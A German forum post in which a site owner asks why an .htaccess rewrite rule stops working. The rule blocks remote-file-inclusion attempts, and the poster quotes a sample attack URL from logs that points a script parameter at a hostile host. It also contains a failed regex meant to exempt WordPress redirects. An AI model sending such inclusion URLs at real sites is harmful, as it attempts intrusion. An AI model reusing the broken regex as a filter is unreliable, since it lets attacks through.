Hallo Leute, ich brauche mal ein bisschen Hilfe. Ich habe bisher folgende Regel in meiner ".htaccess" stehen:
Code:
RewriteCond %{QUERY_STRING} ^(.*)?(.*)=(http|
ftp)(.*)?$ [NC]
RewriteRule . textdatei.txt [L]
Damit blocke ich recht zuverlässig Versuche ab, an irgendwelche Dateien auf meiner Seite fremde Seiten und Skripte anzuhängen. Kennt man ja aus den Logs, dass versucht wird, die Sicherheitslücken von Joomla, phpBB u.ä. Software auszunutzen
Code:
meine-domain.tld/ordner/file.php?script=http://böse-andere-seite/skript.txt
Die Regel blockt das recht gut, reduziert nebenbei den Traffic (weil nichts auf die Start- oder 404-Seite umgeleitet wird), und ein Bot bekommt in meinem Fall nur 3 Fragezeichen als Ergebnis.
Jetzt habe ich aber das Problem, dass WordPress verstärkt mit Redirects arbeitet, die sich mit dieser Regel beißen. Ist man bspw. angemeldet und liest einen Beitrag, stellen die meisten Themes einen Logout-Link zur Verfügung, der einen dann wieder zum gelesenen Beitrag zurückleitet. Durch das Vorkommen des Wortes "http" wird aber nun die o.g. Regel wirksam, und ich sehe auch bloß noch die 3 Fragezeichen.
(Lassen wir das
FTP mal weg.) Ich hatte das jetzt so versucht:
Code:
RewriteCond %{QUERY_STRING} ^(.*)?(.*)=http!((%3A%2F%2F|:\/\/)(www\.)?meine-domain)(.*)?$ [NC]
Aber wenn ich nun manuell als Parameter eine "böse-seite.tld" ergänze (also etwas anderes als meinen eigenen Domainnamen), dann sehe ich trotzdem die jeweilige Seite. Ich prüfe aber vorab, ob
:// (oder auch kodiert) vorkommt, das
www. ist optional, und das ganze ist via Ausrufungszeichen negiert.
Irgendwas habe ich falsch gemacht. Aber was?